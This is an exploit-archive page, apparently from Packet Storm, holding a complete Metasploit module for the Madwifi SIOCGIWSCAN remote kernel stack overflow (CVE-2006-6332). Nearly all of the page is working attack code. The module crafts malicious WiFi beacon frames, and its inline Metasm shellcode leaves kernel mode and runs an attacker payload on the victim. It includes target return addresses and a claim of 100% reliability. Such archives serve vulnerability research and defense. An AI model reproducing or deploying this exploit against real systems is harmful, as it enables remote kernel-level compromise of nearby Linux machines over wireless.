Lucene search

K
packetstormLaurent ButtiPACKETSTORM:82241
HistoryOct 27, 2009 - 12:00 a.m.

Madwifi SIOCGIWSCAN Buffer Overflow

2009-10-2700:00:00
Laurent Butti
packetstormsecurity.com
30

0.762 High

EPSS

Percentile

97.9%

`# Madwifi remote kernel exploit  
# 100% reliable, does'nt crash wifi stack, can exploit   
# same target multiple times  
#  
# Julien TINNES <julien at cr0.org>  
# Laurent BUTTI <0x9090 at gmail.com>  
#  
# vuln in giwscan_cb, here's the path:  
#  
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb  
#  
require 'msf/core'  
require 'metasm'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Lorcon2  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow',  
'Description' => %q{  
The Madwifi driver under Linux is vulnerable to a remote kernel-mode  
stack-based buffer overflow.  
  
The vulnerability is triggered by one of these properly crafted .  
information element: WPA, RSN, WME and Atheros OUI Current madwifi .  
driver (0.9.2) and and all madwifi-ng drivers since r1504 are .  
vulnerable .  
  
Madwifi 0.9.2.1 release corrects the issue.  
  
This module has been tested against Ubuntu 6.10 and is 100% reliable,  
does'nt crash the Wifi stack and can exploit the same machine multiple  
time without the need to reboot it.  
  
This module depends on the Lorcon2 library and only works on the Linux  
platform with a supported wireless card. Please see the Ruby Lorcon2  
documentation (external/ruby-lorcon/README) for more information.  
},  
  
'Author' =>  
[  
'Julien Tinnes <julien at cr0.org>',  
'Laurent Butti <0x9090 at gmail.com>'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'Targets' =>   
[  
['Ubuntu 6.10', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => "0x8014401" }],  
['Generic (you need non randomized vdso)', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => nil }]  
],  
# 'Stance' => Msf::Exploit::Stance::Passive,  
'Payload' => {   
#'Space' => 65,  
# Metasploit does'nt support dynamic size payloads  
# so we will handle this in metasm instead and ask for  
# the smaller payload possible  
#'Encoder' => Msf::Encoder::Type::Raw,  
'DisableNops' => true },  
  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86],  
'References' =>  
[  
['CVE', '2006-6332'],  
['OSVDB', '31267'],  
['URL', 'http://www.madwifi.org'],  
]   
))  
register_options(  
[  
OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),  
OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),  
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),  
OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),  
OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),  
], self.class)   
  
end  
  
def exploit  
open_wifi  
  
#puts "kikoo " + payload.encoded.inspect  
#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')  
  
stime = Time.now.to_i  
rtime = datastore['RUNTIME'].to_i  
count = 0  
  
print_status("Shellcode size is: #{payload.encoded.length} bytes")  
print_status("Creating malicious beacon frame...")  
  
frame = create_beacon()  
  
print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")  
  
while (stime + rtime > Time.now.to_i)  
wifi.write(frame)  
select(nil, nil, nil, 0.10) if (count % 100 == 0)  
count += 1  
break if session_created? and datastore['SINGLESHOT']  
end  
  
print_status("Completed sending #{count} beacons.")  
end  
  
def create_beacon  
  
ssid = datastore['SSID'].to_s  
bssid = Rex::Text.rand_text(6)  
channel = datastore['CHANNEL'].to_i  
len = datastore['LENGTH'].to_i  
seq = [rand(255)].pack('n')  
jmpesp = target['JMPESP'] # jmp esp in vdso  
scan_iterate_ra=target['scan_iterate_ra'] # address just after the call  
# in ieee80211_scan_iterate in wlan.ko  
if scan_iterate_ra  
howtoreturn="RETURN_PROPERLY" # Return to the parent of giwscan_cb parent  
else  
howtoreturn="RETURN_BADLY" # Return to userland with IRET  
end  
bssiwlist = 0x0804ddd0  
  
stacksize="STACK_8K"  
getregs="CALCULATE"  
#getregs="IWANTTOSCANMANUALLY"  
reg_cs="0x73"  
reg_ss="0x7b"  
  
wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS  
#define #{stacksize} 1  
#define #{getregs} 1  
#define CS #{reg_cs}  
#define SS #{reg_ss}  
#define #{howtoreturn} 1  
  
; chunk1  
db 0, 0x50, 0xf2 ; wpa_oui  
db 1 ; wpa_typ  
db 1, 0 ; wpa_ver  
  
back2:  
;push 0x1C  
;ret  
  
;cld  
  
#ifdef RETURN_PROPERLY  
mov ebx, esp ; save esp  
#endif  
  
#ifdef IWANTTOSCANMANUALLY  
mov eax, 4  
checkforcs:  
add esp, eax   
cmp dword ptr [esp], 0x73 ; scan for cs  
jnz checkforcs  
  
cmp dword ptr [esp+12], 0x7b ; scan for ss  
jnz checkforcs   
  
mov edi, dword ptr [esp+8] ; put user stack address in edi  
push edi  
  
; NO SCAN, calculate the good value  
#else  
  
  
#ifdef STACK_8K  
or esp, (0x2000-1) ; assume 8K stack  
#else  
or esp, (0x1000-1) ; assume 4K stack  
#endif  
  
sub esp, 0x17 ; cf return_from_syscall  
mov edi, dword ptr [esp+8]  
push edi  
  
; IWANTTOSCANMANUALLY  
#endif  
  
; We can also go to BSS instead of stack  
;mov edi, #{bssiwlist}  
;push edi  
  
call endsc  
  
beginsc:  
#if 0  
call greetings  
toto db "You're pwn3d :(\\n"  
greetings:  
mov eax, 4  
mov ebx, 1  
pop ecx  
mov edx, (greetings - toto)  
int 0x80  
#endif  
  
xor eax, eax  
inc eax  
inc eax  
int 0x80 ; fork  
cmp eax, 0  
jnz doexit  
  
;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"  
  
;; Metasploit's shellcode integration  
; Old, bad method   
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"  
  
; this will be replaced by metasploit's payload  
metasc:  
; metasm will add padding here so that the next .offset is honored  
.pad db 0x33  
metascend:  
  
doexit:  
#if 1  
; exit  
xor eax, eax  
inc eax  
;mov ebx, 42  
int 0x80  
#endif  
endsc:  
  
pop esi  
; let's copy the shellcode to userland  
mov ecx, endsc - beginsc  
rep movsb  
  
#ifdef RETURN_PROPERLY  
mov esp, ebx ; restore stack pointer  
  
; If SCANFOR_SCAN_ITERATE defined  
; scan for ieee80211_scan_iterate  
; example address: e0b46401 (scan_iterate+0x11)  
; It should be easier to use this if porting the exploit in a hurry  
;#define SCANFOR_SCAN_ITERATE  
  
#ifdef SCANFOR_SCAN_ITERATE  
sub esp, 4 ; you can remove this in most cases  
checkforretadd:  
add esp, 4   
mov ebx, dword ptr [esp+16] ; scan for return address, we know that we have  
; four saved register before the return address  
; (+16)  
and ebx, 0x07FF  
cmp ebx, #{scan_iterate_ra} & 0x07FF  
jnz checkforretadd  
  
;mov ebp, edi ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)  
; we need a writeable address  
  
#endif  
; Here we know the stack layout and esp already has the correct value  
  
pop ebx ; Well, no need to fixup EBP, just run  
; sta_iterate epilogue, thanks Staphane Duverger,  
; how could I miss that!  
pop esi  
pop edi  
pop ebp  
  
; release the locks  
push esi ; save esi  
mov eax, edi ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan  
; just before the call to i*_scan_iterate and in sta_iterate just before  
; the ret  
mov eax, [eax+0x978] ; cf. i*_scan_iterate  
mov esi, [eax+8] ; cf. sta_iterate  
  
xor eax, eax  
inc eax  
mov edx, eax  
;xchg dl, [esi] ; already unlocked  
xchg al, [esi+0x8C] ; release the lock!  
  
pop esi  
  
ret ; end of sta_iterate epilogue  
  
; Else we don't return properly  
#else  
  
; we directly return from the syscall  
iret  
  
#endif  
  
.offset 64*2+21  
  
; chunk2  
back1:  
jmp.i back2  
dd 0 ; this MUST be zero  
  
; chunk3  
dd 0, 0, 0, 0 ; end_buf, current_ev, ieee, iwscanreq  
  
; chunk4  
db #{len-6} dup(0x33)  
;dd 0xffffe777 ; addr of 'jmp esp' in vdso page  
dd #{jmpesp}  
jmp.i8 back1  
; assert  
.offset 198  
;.padto 198 ; assert  
EOS  
wiframe.encoded.patch("metasc", "metascend", payload.encoded)  
value = wiframe.encode_string  
  
#, 'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)  
  
#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')  
  
if (len == 24 and value.length != 198)  
raise "Value is too big! #{value.length}"  
end  
  
buf = "\xdd" + value.length.chr + value  
  
frame =   
"\x80" + # type/subtype  
"\x00" + # flags  
"\x00\x00" + # duration   
eton(datastore['ADDR_DST']) + # dst  
bssid + # src  
bssid + # bssid  
seq + # seq   
Rex::Text.rand_text(8) + # timestamp value  
"\x64\x00" + # beacon interval  
"\x01\x00" + # capabilities  
  
# ssid IE  
"\x00" + ssid.length.chr + ssid +  
  
# supported rates IE  
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +  
  
# channel IE  
"\x03" + "\x01" + channel.chr +  
  
# invalid wpa IE buffer overflow  
# wpa ie is an example, still valid for other IEs  
buf  
  
return frame  
end  
  
end  
  
`

0.762 High

EPSS

Percentile

97.9%